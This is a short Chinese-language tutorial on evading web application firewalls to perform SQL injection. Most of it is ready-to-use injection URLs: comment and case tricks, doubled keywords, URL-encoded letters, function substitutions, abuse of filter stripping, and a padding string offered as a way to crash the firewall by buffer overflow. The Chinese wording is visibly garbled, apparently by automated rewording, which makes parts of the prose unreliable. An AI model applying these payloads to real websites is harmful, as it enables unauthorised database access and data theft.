甚么是WAF?
Web利用防火墙是经由过程履行一系列针对HTTP/HTTPS的安然策略来专门为Web利用供给呵护的一款产品。
根基/简单绕过编制:
1、注释符
http://www.site.com/index.php?page_id=-15 /*!UNION*/ /*!SELECT*/ 1,2,3,4….
2、利用大年夜小写
http://www.site.com/index.php?page_id=-15 uNIoN sELecT 1,2,3,4….
3、连络前面两种编制
http://www.site.com/index.php?page_id=-15 /*!uNIOn*/ /*!SelECt*/ 1,2,3,4….
4、关头字替代
http://www.site.com/index.php?page_id=-15 UNIunionON SELselectECT 1,2,3,4….
此编制合用于一些会把union select替代掉落的WAF,颠末WAF过滤后就会变成 union select 1,2,3,4....
5、内部注释
http://www.site.com/index.php?page_id=-15 %55nION/**/%53ElecT 1,2,3,4…
U替代为%55,S替代为%53 在 union 和 select 之间添加注释/**/
高级绕过编制:
1、缓冲区溢出/使防火墙解体
大年夜部门防火墙都是基于C/C++开辟的,我们可利用缓冲区溢出利用WAF解体
http://www.2cto.com /index.php?page_id=-15+and+(select1)=(Select 0xAA[..(add about 1000 "A")..])+/*!uNIOn*/+/*!SeLECt*/+1,2,3,4….
你可利用以下编制测试WAF
page_id=null%0A/**//*!50000%55nIOn*//*yoyu*/all/**/%0A/*!%53eLEct*/%0A/*nnaa*/+1,2,3,4….
假定返回500弊端,你便可利用缓冲区溢出的编制来绕过WAF
2、对字母进行编码
http://www.site.com/index.php?page_id=-15 /*!u%6eion*/ /*!se%6cect*/ 1,2,3,4….
3、利用其他变量或号令对注进语句进行替代
COMMAND | WHAT TO USE INSTEAD
@@version | version()
concat() | concat_ws()
group_concat() | concat_ws()
4、操纵WAF本身的功能绕过
假定你发现WAF会把"*"替代为空,那么你便可以操纵这一特点来进行绕过
http://www.site.com/index.php?page_id=-15+uni*on+sel*ect+1,2,3,4....
其它编制:-15+(uNioN)+(sElECt)….-15+(uNioN+SeleCT)+…-15+(UnI)(oN)+(SeL)(ecT)+….-15+union (select 1,2,3,4…)